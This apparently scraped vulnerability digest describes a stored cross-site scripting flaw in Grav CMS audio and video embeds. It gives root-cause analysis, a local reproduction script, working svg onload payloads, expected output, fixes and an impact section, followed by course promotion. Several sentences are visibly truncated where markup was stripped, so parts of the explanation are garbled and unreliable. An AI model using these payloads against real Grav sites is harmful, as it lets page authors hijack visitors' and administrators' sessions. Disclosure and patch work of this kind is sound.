Grav CMS, Audio/Video rawHtml XSS, CVE ID: N/A (sibling CVE-2026-42841, CVE-2026-55890) (Medium) -DC-Sep2026-2431

The target is github.com/getgrav/grav.

Affected resource is Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement().

Verified on 2.0.13 latest stable and develop HEAD 5a7070f.

Severity is Medium, approximately 6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N.

This score is anchored to sibling script-XSS advisory CVE-2026-42841.

CVE-2026-42841 shares PR:H, S:C, C:H, I:L characteristics.

Weakness is CWE-79 Improper Neutralization of Input During Web Page Generation.
A Markdown audio or video embed renders itselement as raw HTML.
The media URL is concatenated unescaped into that raw HTML.

The URL fragment is reflected without any encoding.

A payload like .
It injects arbitrary HTML including a script-executing
Any user who views the page runs attacker JavaScript in their session.
A logged-in administrator who views it exposes same-origin Grav Admin session.
This is the next sink in the media-parameter injection class.

The maintainer has been closing this class.

GHSA-r7fx-8g49-7hhr covered attribute().

GHSA-pmf8-g7c8-7v54 / CVE-2026-55890 covered style() in 2.0.0-rc.9.

GHSA-ffmg-hfvg-jhg9 covered resize() in 2.0.0-rc.10.

All three guarded image style/attribute sinks.

The aba291a5 audit scoped itself to sinks reaching style attribute.

It did not cover audio/videorawHtml sink.

That sink reaches full script execution rather than CSS injection.

Root cause is Parsedown rawHtml emitted verbatim, unescaped.

AudioMediaTrait.php L43-52 and VideoMediaTrait.php L58-67 concatenate $location.

$location includes URL fragment stored with no encoding.

MediaObjectTrait::urlHash() L240-249 only strips leading .

Excerpts.php L188 decodes media URL with htmlspecialchars_decode(urldecode(…)).

This undoes Parsedown escaping.

Excerpts.php L321-323 routes fragment to urlHash().

are not on the list.

They inject as live markup.

The __call querystring passthrough rawurlencodes values.

The fragment never passes through it.

Event-handler values such as onload=alert(1) keep = ( ) and execute.

Image render path is unaffected.

Image src goes into htmlspecialchars-escaped attribute, not rawHtml.

This is why the audio/video source rawHtml sink is reliable.
CVE-2026-55890 is referenced as a prior style() sink in the same class.
CVE-2026-42841 is referenced as the sibling script-XSS advisory anchor.
No separate CVE for this audio/video source sink is provided in the .

DailyCVE Form:

Platform: Grav CMS
Version: 2.0.13 develop HEAD
Vulnerability : Audio/Video rawHtml XSS
Severity: Medium ~6.9 CVSS
date: Not provided

Prediction: Unknown patch date

(end of form)

What Undercode Say:

Analytics:

mkdir -p /tmp/grav-xss && cd /tmp/grav-xss
curl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip
unzip grav.zip
cd /tmp/grav-xss/grav
mkdir -p user/pages/03.poc
printf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3
cat > user/pages/03.poc/default.md <<'MD'
XSS PoC
<img src="sound.mp3"><svg/onload=alert(1)>" alt="sound" />
MD
php -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php
for i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done
curl http://127.0.0.1:8390/poc | grep -o '<audio.</audio>'

protected function sourceParsedownElement(array $attributes, $reset = true)
{
$location = $this->url($reset);
return [
'name' => 'audio',
'rawHtml' => '<source src="' . $location . '">Your browser does not support the audio tag.',
'attributes' => $attributes
];
}

Expected output:

<audio controls="controls" alt="sound"><source src="/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto"><svg/onload=alert(1)>">Your browser does not support the audio tag.</audio>

Exploit: (Educational Purposes!)

<img src="sound.mp3"><svg/onload=alert(1)>" alt="sound" />

<img src="movie.mp4"><svg/onload=alert(1)>" alt="video" />

Open http://127.0.0.1:8390/poc
SVG onload fires and executes alert(1)
document.body.innerHTML='XSS_…' variant rewrites page

Protection: from this CVE

Escape $location with htmlspecialchars() before concatenating intorawHtml in AudioMediaTrait::sourceParsedownElement() and VideoMediaTrait::sourceParsedownElement().
Buildthrough Parsedown’s escaped-attribute mechanism instead of raw string.
Encode URL fragment in MediaObjectTrait::urlHash() rather than passing verbatim.
Apply output encoding to any other rawHtml media sink.
Do not rely on GFM tagfilter for .
Do not rely on __call querystring passthrough for fragment values.

Impact:

Arbitrary JavaScript executes with no interaction in session of any user who views page embedding crafted audio/video file.
Attacker is page-content author, Grav back-end user with page-edit rights below super-admin.

Injected

Viewer can be published-page visitor confirmed at runtime.

Viewer can be logged-in administrator who views page.

Script can ride same-origin Grav Admin session.

No-interaction sink.

Grav body renderer passes interaction-based /

form action=”javascript:”> raw.
Grav escapes auto-firing /

Audio/videorawHtml path is reliable auto-firing primitive.

Three prior fixes constrained same author→viewer boundary to safe CSS.

This left open full script execution.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin

Listen to this Post